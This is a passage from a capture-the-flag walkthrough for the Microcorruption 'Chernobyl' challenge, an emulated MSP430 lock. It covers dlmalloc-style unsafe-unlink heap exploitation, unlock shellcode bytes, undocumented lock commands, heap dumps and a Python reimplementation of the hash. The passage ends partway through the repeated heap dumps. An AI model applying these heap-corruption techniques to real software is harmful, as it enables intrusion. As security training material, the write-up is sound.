The Road to Chernobyl: World Records in Weird Machine Kolmogorov Complexity
Abstract
This page is a walkthrough for the world's shortest exploit for Chernobyl, the penultimate challenge from the Microcorruption wargame originally developed by Matasano.
Executive Summary
There are two copies of this heap exploit on Earth; this is how to become 1 in 10,000 by tying a ten-year world record.
Overview
Final Exploit: 1328 UTC, July 20th, 2022Blockchain Timestamp: 1831 UTC, July 20th, 2022
Cryptographic Proof of Existence: solution.txt solution.txt.ots
Rendering Note:
There is a known issue with Android lacking a true monotype system font, which breaks many of the extended ASCII character set diagrams below. Please view this page on a Chrome or Firefox-based desktop browser to avoid rendering issues. Ideally on a Linux host.
Context
During the better part of a decade, thousands of people attempted Microcorruption. Only a few hundred ever completed it, even with walkthroughs available.
| Challenge | Number | Percent Successful |
|---|---|---|
First Challenge |
[#1] |
100% |
Second Challenge |
[#2] |
58% |
First Heap Exploitation Challenge |
[#14] |
5% |
Last Heap Exploitation Challenge |
[#18] |
1.5% |
Last Challenge |
[#19] |
1% |
Enter Chernobyl
Ninety-eight percent of documented attempts fail before beating Chernobyl, the last heap exploitation challenge. The top 1% complete the series; the top 1% of the top 1% climb into single-digit rankings on the Chernobyl leaderboard.
| Position | Username | Exploit Size (Bytes) |
|---|---|---|
1st |
ThatsMe |
59 |
2nd |
b9ek |
59 |
3rd |
Unknown |
60 |
4th |
Unknown |
60 |
5th |
Unknown |
61 |
6th |
Unknown |
61 |
The World Record
The record for the shortest working exploit is 59 bytes. Two people have achieved this: one in May of 2020, demonstrating that it was possible, and yours truly, independently discovering how to write that same exploit in July of 2022.
This technical analysis documents how to tie the world record without fuzzing, given nothing but the length and the knowledge that it is possible.
Technical Background
Each challenge centers around a deliberately vulnerable smart lock. The goal is simple: write a software exploit to trigger an unlock.
System Architecture
The emulated device runs on the MSP430 instruction set architecture. It uses a 16-bit little-endian processor and has 64 kilobytes of RAM. The official manual includes the details, but relevant functionality is summarized below.
Interface
Several separate windows control the debugger functionality.
A user input prompt like the following is the device's external communication interface.
Exploit Development Objective
The equivalent of popping a shell on this system is calling interrupt 0x7F. Earlier challenges in the series implement this functionality with a dedicated function called unlock_door.
This function has been removed in the Chernobyl firmware, necessitating injecting shellcode to perform the same operation. Executing the following assembly is functionally equivalent to calling the unlock_door function.
Disassembly
3240 00ff mov #0xff00, sr
b012 1000 call #0x10
Assembly
324000ffb0121000The following message is displayed in the interface when an exploit calls the interrupt successfully.
Previous Work
Overview of Reverse Engineering
Other authors have published detailed explanations of the standard way to exploit this implementation. While the most common approach is covered herein, this analysis omits some reverse engineering details for brevity. Those wishing for a more thorough examination should consult Jaime Lightfoot's walkthrough for Chernobyl.
The Algiers Heap Implementation
The following exploits rely on techniques developed on an earlier heap exploitation challenge in the series—Algiers. These techniques, independently developed by the author, are described in a previous walkthrough that lays the groundwork for what is to follow.
Novice Readers
Those unfamiliar with exploit development should read the Algiers analysis first.
Experienced Readers
While those interested in a detailed analysis of the low-level internals of the implementation may find that page interesting for its own sake, it is not strictly essential. Those with a background in heap exploitation can proceed without reading it.
Exploitation
The heap implementation used on Chernobyl is essentially a stripped-down version of early dlmalloc. The basic technique is a variation of the original unsafe-unlink arbitrary write primitive published in Phrack 57:9, with heap overflows corrupting chunk metadata to perform arbitrary writes using the double-linked list pointers.
┌────────┬────────┬────────┬──────────────────────────┐
│BACK │FORWARD │ SIZE │ DATA │
│POINTER │POINTER │ │ │
└────────┴────────┴────────┴──────────────────────────┘
┌────────┬────────┬────────┬──────────────────────────┐
│ cccc │ eeee │ 0021 │ bbbb 0000 0000 0000 .... │
└─────┬──┴─────┬──┴────────┴──────────────────────────┘
▲ │ │
┌────┘ │ │
│ │ └─────────────────────────────────────────────┐
│ │ │
│ └───────────────────────────────────────────────────┐ │
│ │ │
│ ┌────────┬────────┬────────┬──────────────────────────┐ │ │
└─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │ │ │
└────────┴────────┴────────┴──────────────────────────┘ │ │
│ │
│ │
│ │
┌───────────────────────────────────────────┘ │
│ │
│ │
│ │
│ │
▼ │
┌────────┬────────┬────────┬────────┬────────┐ │
│DATA │ 0000 │ eeee │ 002c │ .... │ │
├────────┼────────┼────────┼────────┼────────┤ │
│ADDRESS │ 0xcccc │ 0xccce │ 0xccd0 │ .... │ │
└────────┴────────┴────────┴────────┴────────┘ │
│
┌──────────────────────────────────────────────┘
▼
┌────────┬────────┬────────┬────────┬────────┐
│DATA │ cccc │ 0000 │ 0000 │ .... │
├────────┼────────┼────────┼────────┼────────┤
│ADDRESS │ 0xeeee │ 0xeef0 │ 0xeef2 │ .... │
└────────┴────────┴────────┴────────┴────────┘
High-Level Analysis
Running the firmware results in the following message printing to the I/O console:
Welcome to the lock controller.
You can open the door by entering 'access [your name] [pin]'
Test this functionality with the following command.
Input:
access admin 1111Output:
No such box.Input:
helpOutput:
Invalid command.The processor halts execution at this point, requiring a reset.
Status Messages
Opening the firmware in Ghidra and looking at the defined strings reveals other behaviors. In particular, take note of the "adding user account" string.
| String Address | String |
|---|---|
| 4569 | "@%x [alloc] [p %x] [n %x] [s %x]\n" |
| 4598 | "@%x [freed] [p %x] [n %x] [s %x]\n" |
| 465e | "Heap exausted; aborting." |
| 4a38 | "Welcome to the lock controller." |
| 4a58 | "You can open the door by entering 'access [your name] [pin]'" |
| 4a96 | "No such box." |
| 4aa3 | "Access granted." |
| 4ab3 | "Access granted; but account not activated." |
| 4ade | "Aceess denied" |
| 4aec | "Can not have a pin with high bit set." |
| 4b12 | "User already has an account." |
| 4b2f | "Adding user account %s with pin %x.\n" |
| 4b54 | "Invalid command." |
Undocumented Commands
Skipping over some reverse engineering, adding a new user account is possible via the following command.
new [your name] [pin]Input:
new admin 1111Output:
Adding user account admin with pin 0457.It is then possible to attempt to access that account.
Input:
access admin 1111Output:
Access granted; but account not activated.Omitting more reverse engineering: a working exploit requires memory corruption because, as mentioned earlier, no function exists in the firmware to trigger the unlock interrupt. It does not matter whether an account is "activated" because the authentication functionality is essentially a stub.
Batching Commands
It is also possible to batch commands by separating them with semicolons.
Input:
new user1 1111;new user2 2222;access user1 1111Output:
Adding user account user1 with pin 0457.
Adding user account user2 with pin 08ae.
Access granted; but account not activated.
Memory Internals
Consider what happens when adding ten users.
Input:
new user1 1000;new user2 1000;new user3 1000;new user4 1000;new user5 1000;new user6 1000;new user7 1000;new user8 1000;new user9 1000;new user10 1000Output:
Adding user account user1 with pin 03e8.
Adding user account user2 with pin 03e8.
Adding user account user3 with pin 03e8.
Adding user account user4 with pin 03e8.
Adding user account user5 with pin 03e8.
Adding user account user6 with pin 03e8.
Adding user account user7 with pin 03e8.
Adding user account user8 with pin 03e8.
Adding user account user9 with pin 03e8.
Adding user account user10 with pin 03e8.
This results in the following changes in heap memory.
5000: 0050 1050 1500 0000 0300 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0000 0000 "R.R.R.P<P!.....
5030: 0000 0000 0000 0000 0000 0000 2650 9c50 ............&P.P
5040: b500 0000 0000 0000 0000 0000 0000 0000 ................
5050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5060: *
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 0000 0000 0000 0000 0000 0000 0000 ................
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: *
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 0000 0000 0000 0000 0000 0000 0000 ................
5110: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5120: *
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
5160: b500 0000 0000 0000 0000 0000 0000 0000 ................
5170: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5180: *
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 ............\Q.R
51c0: b500 0000 0000 0000 0000 0000 0000 0000 ................
51d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
51e0: *
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
5220: b500 0000 0000 0000 0000 0000 0000 0000 ................
5230: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5240: *
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
5280: b500 0000 0000 0000 0000 0000 0000 0000 ................
5290: 0000 0000 0000 0000 0000 0000 0000 0000 ................
52a0: *
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
52e0: b500 0000 0000 0000 0000 0000 0000 0000 ................
52f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5300: *
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5360: *5000: 0050 1050 1500 0a00 0300 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0100 0100 "R.R.R.P<P!.....
5030: 0200 0100 0100 0100 0200 0100 2650 9c50 ............&P.P
5040: b500 7573 6572 3300 0000 0000 0000 0000 ..user3.........
5050: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5070: *
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 7573 6572 3200 0000 0000 0000 0000 ..user2.........
50b0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
50c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50d0: *
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 7573 6572 3100 0000 0000 0000 0000 ..user1.........
5110: 0000 e803 7573 6572 3900 0000 0000 0000 ....user9.......
5120: 0000 0000 e803 0000 0000 0000 0000 0000 ................
5130: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5140: *
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
5160: b500 7573 6572 3800 0000 0000 0000 0000 ..user8.........
5170: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5180: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5190: *
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 ............\Q.R
51c0: b500 7573 6572 3700 0000 0000 0000 0000 ..user7.........
51d0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
51e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
51f0: *
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
5220: b500 7573 6572 3600 0000 0000 0000 0000 ..user6.........
5230: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5240: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5250: *
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
5280: b500 7573 6572 3500 0000 0000 0000 0000 ..user5.........
5290: 0000 e803 7573 6572 3130 0000 0000 0000 ....user10......
52a0: 0000 0000 e803 0000 0000 0000 0000 0000 ................
52b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
52c0: *
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
52e0: b500 7573 6572 3400 0000 0000 0000 0000 ..user4.........
52f0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5300: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5310: *
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5360: *
Hash Function
There are eight different groupings of usernames. This structure is a hash table with eight buckets. The strings "user1" and "user9" are stored in the same bucket, which is why they are closer together in memory than "user6" and "user7". The function determining which account ends up in which bucket is as follows.
Disassembly
480e <hash>
480e: 0e4f mov r15, r14
4810: 0f43 clr r15
4812: 0b3c jmp $+0x18 <hash+0x1c>
4814: 6d4e mov.b @r14, r13
4816: 8d11 sxt r13
4818: 0d5f add r15, r13
481a: 0f4d mov r13, r15
481c: 0f5f add r15, r15
481e: 0f5f add r15, r15
4820: 0f5f add r15, r15
4822: 0f5f add r15, r15
4824: 0f5f add r15, r15
4826: 0f8d sub r13, r15
4828: 1e53 inc r14
482a: ce93 0000 tst.b 0x0(r14)
482e: f223 jnz $-0x1a <hash+0x6>
4830: 3041 ret
Python Reimplementation
#!/usr/bin/python3
import binascii
def hash_username(s):
s = binascii.unhexlify(s)
r15 = 0
for r13 in s:
if (r13 & 0x80) == 128:
r13 = "ff" + "{0:0{1}x}".format(r13,2)
else:
r13 = "00" + "{0:0{1}x}".format(r13,2)
r13 = int(r13, 16)
r13 = r15 + r13
r15 = r13
r15 = (r15 + r15) & 0xffff
r15 = (r15 + r15) & 0xffff
r15 = (r15 + r15) & 0xffff
r15 = (r15 + r15) & 0xffff
r15 = (r15 + r15) & 0xffff
r15 = (r15 + (0x10000 - r13)) & 0xffff
return r15
The following code calculates the index for the hash bucket that will store a given username.
python3 -i hash.py
>>> hash_username(binascii.hexlify(b'user1')) % 8
2
Identifying Hash Buckets
Hash Bucket 0
>>> hash_username(binascii.hexlify(b'user3')) % 8
0
5000: 0050 1050 1500 0a00 0300 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0100 0100 "R.R.R.P<P!.....
5030: 0200 0100 0100 0100 0200 0100 2650 9c50 ............&P.P
5040: b500 7573 6572 3300 0000 0000 0000 0000 ..user3.........
5050: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5070: *
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 7573 6572 3200 0000 0000 0000 0000 ..user2.........
50b0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
50c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50d0: *
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 7573 6572 3100 0000 0000 0000 0000 ..user1.........
5110: 0000 e803 7573 6572 3900 0000 0000 0000 ....user9.......
5120: 0000 0000 e803 0000 0000 0000 0000 0000 ................
5130: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5140: *
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
5160: b500 7573 6572 3800 0000 0000 0000 0000 ..user8.........
5170: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5180: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5190: *
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 ............\Q.R
51c0: b500 7573 6572 3700 0000 0000 0000 0000 ..user7.........
51d0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
51e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
51f0: *
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
5220: b500 7573 6572 3600 0000 0000 0000 0000 ..user6.........
5230: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5240: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5250: *
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
5280: b500 7573 6572 3500 0000 0000 0000 0000 ..user5.........
5290: 0000 e803 7573 6572 3130 0000 0000 0000 ....user10......
52a0: 0000 0000 e803 0000 0000 0000 0000 0000 ................
52b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
52c0: *
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
52e0: b500 7573 6572 3400 0000 0000 0000 0000 ..user4.........
52f0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5300: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5310: *
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5360: *
Hash Bucket 1
>>> hash_username(binascii.hexlify(b'user2')) % 8
1
5000: 0050 1050 1500 0a00 0300 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0100 0100 "R.R.R.P<P!.....
5030: 0200 0100 0100 0100 0200 0100 2650 9c50 ............&P.P
5040: b500 7573 6572 3300 0000 0000 0000 0000 ..user3.........
5050: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5070: *
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 7573 6572 3200 0000 0000 0000 0000 ..user2.........
50b0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
50c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50d0: *
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 7573 6572 3100 0000 0000 0000 0000 ..user1.........
5110: 0000 e803 7573 6572 3900 0000 0000 0000 ....user9.......
5120: 0000 0000 e803 0000 0000 0000 0000 0000 ................
5130: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5140: *
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
5160: b500 7573 6572 3800 0000 0000 0000 0000 ..user8.........
5170: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5180: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5190: *
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 ............\Q.R
51c0: b500 7573 6572 3700 0000 0000 0000 0000 ..user7.........
51d0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
51e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
51f0: *
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
5220: b500 7573 6572 3600 0000 0000 0000 0000 ..user6.........
5230: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5240: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5250: *
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
5280: b500 7573 6572 3500 0000 0000 0000 0000 ..user5.........
5290: 0000 e803 7573 6572 3130 0000 0000 0000 ....user10......
52a0: 0000 0000 e803 0000 0000 0000 0000 0000 ................
52b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
52c0: *
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
52e0: b500 7573 6572 3400 0000 0000 0000 0000 ..user4.........
52f0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5300: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5310: *
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5360: *
Hash Bucket 2
>>> hash_username(binascii.hexlify(b'user1')) % 8
2
>>> hash_username(binascii.hexlify(b'user9')) % 8
2
5000: 0050 1050 1500 0a00 0300 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0100 0100 "R.R.R.P<P!.....
5030: 0200 0100 0100 0100 0200 0100 2650 9c50 ............&P.P
5040: b500 7573 6572 3300 0000 0000 0000 0000 ..user3.........
5050: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5070: *
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 7573 6572 3200 0000 0000 0000 0000 ..user2.........
50b0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
50c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50d0: *
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 7573 6572 3100 0000 0000 0000 0000 ..user1.........
5110: 0000 e803 7573 6572 3900 0000 0000 0000 ....user9.......
5120: 0000 0000 e803 0000 0000 0000 0000 0000 ................
5130: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5140: *
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
5160: b500 7573 6572 3800 0000 0000 0000 0000 ..user8.........
5170: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5180: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5190: *
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 ............\Q.R
51c0: b500 7573 6572 3700 0000 0000 0000 0000 ..user7.........
51d0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
51e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
51f0: *
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
5220: b500 7573 6572 3600 0000 0000 0000 0000 ..user6.........
5230: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5240: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5250: *
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
5280: b500 7573 6572 3500 0000 0000 0000 0000 ..user5.........
5290: 0000 e803 7573 6572 3130 0000 0000 0000 ....user10......
52a0: 0000 0000 e803 0000 0000 0000 0000 0000 ................
52b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
52c0: *
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
52e0: b500 7573 6572 3400 0000 0000 0000 0000 ..user4.........
52f0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5300: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5310: *
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5360: *
Hash Bucket 3
>>> hash_username(binascii.hexlify(b'user8')) % 8
3
5000: 0050 1050 1500 0a00 0300 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0100 0100 "R.R.R.P<P!.....
5030: 0200 0100 0100 0100 0200 0100 2650 9c50 ............&P.P
5040: b500 7573 6572 3300 0000 0000 0000 0000 ..user3.........
5050: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5070: *
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 7573 6572 3200 0000 0000 0000 0000 ..user2.........
50b0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
50c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50d0: *
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 7573 6572 3100 0000 0000 0000 0000 ..user1.........
5110: 0000 e803 7573 6572 3900 0000 0000 0000 ....user9.......
5120: 0000 0000 e803 0000 0000 0000 0000 0000 ................
5130: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5140: *
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
5160: b500 7573 6572 3800 0000 0000 0000 0000 ..user8.........
5170: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5180: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5190: *
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 ............\Q.R
51c0: b500 7573 6572 3700 0000 0000 0000 0000 ..user7.........
51d0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
51e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
51f0: *
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
5220: b500 7573 6572 3600 0000 0000 0000 0000 ..user6.........
5230: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5240: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5250: *
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
5280: b500 7573 6572 3500 0000 0000 0000 0000 ..user5.........
5290: 0000 e803 7573 6572 3130 0000 0000 0000 ....user10......
52a0: 0000 0000 e803 0000 0000 0000 0000 0000 ................
52b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
52c0: *
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
52e0: b500 7573 6572 3400 0000 0000 0000 0000 ..user4.........
52f0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5300: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5310: *
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5360: *
Hash Bucket 4
>>> hash_username(binascii.hexlify(b'user7')) % 8
4
5000: 0050 1050 1500 0a00 0300 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0100 0100 "R.R.R.P<P!.....
5030: 0200 0100 0100 0100 0200 0100 2650 9c50 ............&P.P
5040: b500 7573 6572 3300 0000 0000 0000 0000 ..user3.........
5050: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5070: *
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 7573 6572 3200 0000 0000 0000 0000 ..user2.........
50b0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
50c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50d0: *
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 7573 6572 3100 0000 0000 0000 0000 ..user1.........
5110: 0000 e803 7573 6572 3900 0000 0000 0000 ....user9.......
5120: 0000 0000 e803 0000 0000 0000 0000 0000 ................
5130: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5140: *
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
5160: b500 7573 6572 3800 0000 0000 0000 0000 ..user8.........
5170: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5180: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5190: *
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 ............\Q.R
51c0: b500 7573 6572 3700 0000 0000 0000 0000 ..user7.........
51d0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
51e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
51f0: *
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
5220: b500 7573 6572 3600 0000 0000 0000 0000 ..user6.........
5230: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5240: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5250: *
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
5280: b500 7573 6572 3500 0000 0000 0000 0000 ..user5.........
5290: 0000 e803 7573 6572 3130 0000 0000 0000 ....user10......
52a0: 0000 0000 e803 0000 0000 0000 0000 0000 ................
52b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
52c0: *
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
52e0: b500 7573 6572 3400 0000 0000 0000 0000 ..user4.........
52f0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5300: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5310: *
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5360: *
Hash Bucket 5
>>> hash_username(binascii.hexlify(b'user6')) % 8
5
5000: 0050 1050 1500 0a00 0300 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0100 0100 "R.R.R.P<P!.....
5030: 0200 0100 0100 0100 0200 0100 2650 9c50 ............&P.P
5040: b500 7573 6572 3300 0000 0000 0000 0000 ..user3.........
5050: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5070: *
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 7573 6572 3200 0000 0000 0000 0000 ..user2.........
50b0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
50c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50d0: *
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 7573 6572 3100 0000 0000 0000 0000 ..user1.........
5110: 0000 e803 7573 6572 3900 0000 0000 0000 ....user9.......
5120: 0000 0000 e803 0000 0000 0000 0000 0000 ................
5130: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5140: *
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
5160: b500 7573 6572 3800 0000 0000 0000 0000 ..user8.........
5170: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5180: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5190: *
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 ............\Q.R
51c0: b500 7573 6572 3700 0000 0000 0000 0000 ..user7.........
51d0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
51e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
51f0: *
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
5220: b500 7573 6572 3600 0000 0000 0000 0000 ..user6.........
